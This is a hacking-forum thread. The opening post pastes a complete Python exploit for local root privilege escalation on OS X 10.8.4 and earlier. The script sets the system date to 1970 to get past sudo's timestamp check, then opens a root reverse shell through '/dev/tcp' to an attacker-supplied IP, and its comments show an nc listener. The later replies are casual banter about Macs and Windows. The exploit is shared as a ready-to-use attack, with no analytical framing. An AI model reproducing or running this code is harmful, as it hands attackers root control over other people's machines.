Login Register






The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.
Thread Rating:
  • 0 Vote(s) - 0 Average


I will scream at the next person who tells me Macs are secure! filter_list
Author
Message
I will scream at the next person who tells me Macs are secure! #1
Literally at least 10% of macs are still on 10.8.4 or below.
Next time some apple lover tells you Macs are secure, show them this and briefly explain it, not like half of you will understand it anyway.
Code:
#!/usr/bin/python
###################################################################################################
# Exploit Title: OSX <= 10.8.4 Local Root Priv Escalation Root Reverse Shell
# Date: 08-27-2013
# Exploit Author: David Kennedy @ TrustedSec
# Website: https://www.trustedsec.com
# Twitter: @Dave_ReL1K
# Tested On: OSX 10.8.4
#
# Reference: http://www.exploit-db.com/exploits/27944/
#
# Example below:
# trustedsec:Desktop Dave$ python osx_esc.py
# [*] Exploit has been performed. You should have a shell on ipaddr: 127.0.0.1 and port 4444
#
# attacker_box:~ Dave$ nc -l 4444
# bash: no job control in this shell
# bash-3.2#
###################################################################################################
import subprocess

# IPADDR for REVERSE SHELL - change this to your attacker IP address
ipaddr = "192.168.1.1"

# PORT for REVERSE SHELL - change this to your attacker port address
port = "4444"

# drop into a root shell - replace 192.168.1.1 with the reverse listener
proc = subprocess.Popen('bash', shell=False, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
proc.stdin.write("systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port))
print """
###############################################################
#
# OSX <= 10.8.4 Local Root Priv Escalation Root Reverse Shell
#
# Written by: David Kennedy @ TrustedSec
# Website: https://www.trustedsec.com
# Twitter: @Dave_ReL1K
#
# Reference: http://www.exploit-db.com/exploits/27944/
###############################################################
"""
print "[*] Exploit has been performed. You should have a shell on ipaddr: %s and port %s" % (ipaddr,port)
#MakeSinisterlySexyAgain

Reply

RE: I will scream at the next person who tells me Macs are secure! #2
I don't understand this at all, but I never believe that bullshit. I honestly dislike macs with a fury.

Reply

RE: I will scream at the next person who tells me Macs are secure! #3
(10-19-2013, 02:11 AM)Feat Wrote: I don't understand this at all, but I never believe that bullshit. I honestly dislike macs with a fury.
I have nothing against Macs, just the fuckers who praise them like idols.
#MakeSinisterlySexyAgain

Reply

RE: I will scream at the next person who tells me Macs are secure! #4
(10-19-2013, 02:12 AM)Putin Wrote: I have nothing against Macs, just the fuckers who praise them like idols.

So you mean more than half of my school who probably only found out about macs in 3rd grade? I've owned a Windows computer since I was 6 and a half.

Reply

RE: I will scream at the next person who tells me Macs are secure! #5
(10-19-2013, 02:13 AM)Feat Wrote: So you mean more than half of my school who probably only found out about macs in 3rd grade? I've owned a Windows computer since I was 6 and a half.
I too got a windows machine at 6. I spilt water on the keyboard at 8, and I had to use a USB mouse Sad
#MakeSinisterlySexyAgain

Reply

RE: I will scream at the next person who tells me Macs are secure! #6
(10-19-2013, 02:14 AM)Putin Wrote: I too got a windows machine at 6. I spilt water on the keyboard at 8, and I had to use a USB mouse Sad

My keyboards have been put through hell and back, still going strong doe.

Reply

RE: I will scream at the next person who tells me Macs are secure! #7
That's funny I just upgraded my Mac and was vulnerable. Although my Snort is so jacked it wouldn't last long anyways.

Reply

RE: I will scream at the next person who tells me Macs are secure! #8
OMG MACS HACKPROOF DONT LIE LOOSER MACS ARE PRO AND NO VIRUSES.

Reply

RE: I will scream at the next person who tells me Macs are secure! #9
Not going to pretend that I understand the code, but I do understand your frustration with Apple users who think they're invincible. Simply, not many people care to spread on Macs, for now.

Reply

RE: I will scream at the next person who tells me Macs are secure! #10
Macs are not secured. I'm not sure that was still the conception.

Reply







Users browsing this thread: 3 Guest(s)